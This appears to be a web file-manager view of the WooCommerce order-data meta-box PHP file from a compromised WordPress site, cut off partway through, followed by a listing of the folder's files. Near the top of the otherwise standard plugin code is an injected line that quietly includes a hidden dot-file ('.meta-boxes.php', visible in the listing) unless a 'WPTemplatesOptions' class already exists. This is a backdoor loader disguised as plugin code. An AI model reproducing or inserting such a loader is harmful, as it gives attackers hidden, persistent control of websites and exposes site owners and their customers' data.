PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce
/
includes
/
admin
/
meta-boxes
<?php /** * Order Data * * Functions for displaying the order data meta box. * * @author WooThemes * @category Admin * @package WooCommerce/Admin/Meta Boxes * @version 2.2.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } /** * WC_Meta_Box_Order_Data Class. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WC_Meta_Box_Order_Data { /** * Billing fields. * * @var array */ protected static $billing_fields = array(); /** * Shipping fields. * * @var array */ protected static $shipping_fields = array(); /** * Init billing and shipping fields we display + save. */ public static function init_address_fields() { self::$billing_fields = apply_filters( 'woocommerce_admin_billing_fields', array( 'first_name' => array( 'label' => __( 'First name', 'woocommerce' ), 'show' => false, ), 'last_name' => array( 'label' => __( 'Last name', 'woocommerce' ), 'show' => false, ), 'company' => array( 'label' => __( 'Company', 'woocommerce' ), 'show' => false, ), 'address_1' => array( 'label' => __( 'Address line 1', 'woocommerce' ), 'show' => false, ), 'address_2' => array( 'label' => __( 'Address line 2', 'woocommerce' ), 'show' => false, ), 'city' => array( 'label' => __( 'City', 'woocommerce' ), 'show' => false, ), 'postcode' => array( 'label' => __( 'Postcode / ZIP', 'woocommerce' ), 'show' => false, ), 'country' => array( 'label' => __( 'Country / Region', 'woocommerce' ), 'show' => false, 'class' => 'js_field-country select short', 'type' => 'select', 'options' => array( '' => __( 'Select a country / region…', 'woocommerce' ) ) + WC()->countries->get_allowed_countries(), ), 'state' => array( 'label' => __( 'State / County', 'woocommerce' ), 'class' => 'js_field-state select short', 'show' => false, ), 'email' => array( 'label' => __( 'Email address', 'woocommerce' ), ), 'phone' => array( 'label' => __( 'Phone', 'woocommerce' ), ), ) ); self::$shipping_fields = apply_filters( 'woocommerce_admin_shipping_fields', array( 'first_name' => array( 'label' => __( 'First name', 'woocommerce' ), 'show' => false, ), 'last_name' => array( 'label' => __( 'Last name', 'woocommerce' ), 'show' => false, ), 'company' => array( 'label' => __( 'Company', 'woocommerce' ), 'show' => false, ), 'address_1' => array( 'label' => __( 'Address line 1', 'woocommerce' ), 'show' => false, ), 'address_2' => array( 'label' => __( 'Address line 2', 'woocommerce' ), 'show' => false, ), 'city' => array( 'label' => __( 'City', 'woocommerce' ), 'show' => false, ), 'postcode' => array( 'label' => __( 'Postcode / ZIP', 'woocommerce' ), 'show' => false, ), 'country' => array( 'label' => __( 'Country / Region', 'woocommerce' ), 'show' => false, 'type' => 'select', 'class' => 'js_field-country select short', 'options' => array( '' => __( 'Select a country / region…', 'woocommerce' ) ) + WC()->countries->get_shipping_countries(), ), 'state' => array( 'label' => __( 'State / County', 'woocommerce' ), 'class' => 'js_field-state select short', 'show' => false, ), ) ); } /** * Output the metabox. * * @param WP_Post $post */ public static function output( $post ) { global $theorder; if ( ! is_object( $theorder ) ) { $theorder = wc_get_order( $post->ID ); } $order = $theorder; self::init_address_fields(); if ( WC()->payment_gateways() ) { $payment_gateways = WC()->payment_gateways->payment_gateways(); } else { $payment_gateways = array(); } $payment_method = $order->get_payment_method(); $order_type_object = get_post_type_object( $post->post_type ); wp_nonce_field( 'woocommerce_save_data', 'woocommerce_meta_nonce' ); ?> <style type="text/css"> #post-body-content, #titlediv { display:none } </style> <div class="panel-wrap woocommerce"> <input name="post_title" type="hidden" value="<?php echo empty( $post->post_title ) ? __( 'Order', 'woocommerce' ) : esc_attr( $post->post_title ); ?>" /> <input name="post_status" type="hidden" value="<?php echo esc_attr( $post->post_status ); ?>" /> <div id="order_data" class="panel woocommerce-order-data"> <h2 class="woocommerce-order-data__heading"> <?php /* translators: 1: order type 2: order number */ printf( esc_html__( '%1$s #%2$s details', 'woocommerce' ), esc_html( $order_type_object->labels->singular_name ), esc_html( $order->get_order_number() ) ); ?> </h2> <p class="woocommerce-order-data__meta order_number"> <?php $meta_list = array(); if ( $payment_method && 'other' !== $payment_method ) { /* translators: %s: payment method */ $payment_method_string = sprintf( __( 'Payment via %s', 'woocommerce' ), esc_html( isset( $payment_gateways[ $payment_method ] ) ? $payment_gateways[ $payment_method ]->get_title() : $payment_method ) ); if ( $transaction_id = $order->get_transaction_id() ) { if ( isset( $payment_gateways[ $payment_method ] ) && ( $url = $payment_gateways[ $payment_method ]->get_transaction_url( $order ) ) ) { $payment_method_string .= ' (<a href="' . esc_url( $url ) . '" target="_blank">' . esc_html( $transaction_id ) . '</a>)'; } else { $payment_method_string .= ' (' . esc_html( $transaction_id ) . ')'; } } $meta_list[] = $payment_method_string; } if ( $order->get_date_paid() ) { /* translators: 1: date 2: time */ $meta_list[] = sprintf( __( 'Paid on %1$s @ %2$s', 'woocommerce' ), wc_format_datetime( $order->get_date_paid() ), wc_format_datetime( $order->get_date_paid(), get_option( 'time_format' ) ) ); } if ( $ip_address = $order->get_customer_ip_address() ) { /* translators: %s: IP address */ $meta_list[] = sprintf( __( 'Customer IP: %s', 'woocommerce' ), '<span class="woocommerce-Order-customerIP">' . esc_html( $ip_address ) . '</span>' ); } echo wp_kses_post( implode( '. ', $meta_list ) ); ?> </p> <div class="order_data_column_container"> <div class="order_data_column"> <h3><?php esc_html_e( 'General', 'woocommerce' ); ?></h3> <p class="form-field form-field-wide"> <label for="order_date"><?php _e( 'Date created:', 'woocommerce' ); ?></label> <input type="text" class="date-picker" name="order_date" maxlength="10" value="<?php echo esc_attr( date_i18n( 'Y-m-d', strtotime( $post->post_date ) ) ); ?>" pattern="<?php echo esc_attr( apply_filters( 'woocommerce_date_input_html_pattern', '[0-9]{4}-(0[1-9]|1[012])-(0[1-9]|1[0-9]|2[0-9]|3[01])' ) ); ?>" />@ ‎ <input type="number" class="hour" placeholder="<?php esc_attr_e( 'h', 'woocommerce' ); ?>" name="order_date_hour" min="0" max="23" step="1" value="<?php echo esc_attr( date_i18n( 'H', strtotime( $post->post_date ) ) ); ?>" pattern="([01]?[0-9]{1}|2[0-3]{1})" />: <input type="number" class="minute" placeholder="<?php esc_attr_e( 'm', 'woocommerce' ); ?>" name="order_date_minute" min="0" max="59" step="1" value="<?php echo esc_attr( date_i18n( 'i', strtotime( $post->post_date ) ) ); ?>" pattern="[0-5]{1}[0-9]{1}" /> <input type="hidden" name="order_date_second" value="<?php echo esc_attr( date_i18n( 's', strtotime( $post->post_date ) ) ); ?>" /> </p> <p class="form-field form-field-wide wc-order-status"> <label for="order_status"> <?php _e( 'Status:', 'woocommerce' ); if ( $order->needs_payment() ) { printf( '<a href="%s">%s</a>', esc_url( $order->get_checkout_payment_url() ), __( 'Customer payment page →', 'woocommerce' ) ); } ?>
[+]
..
[-] class-wc-meta-box-order-notes.php
[edit]
[-] .meta-boxes.php
[edit]
[-] class-wc-meta-box-product-images.php
[edit]
[-] class-wc-meta-box-product-data.php
[edit]
[-] class-wc-meta-box-order-downloads.php
[edit]
[-] class-wc-meta-box-order-data.php
[edit]
[-] class-wc-meta-box-product-short-description.php
[edit]
[-] class-wc-meta-box-order-actions.php
[edit]
[-] class-wc-meta-box-coupon-data.php
[edit]
[-] class-wc-meta-box-product-reviews.php
[edit]
[-] class-wc-meta-box-order-items.php
[edit]
[+]
views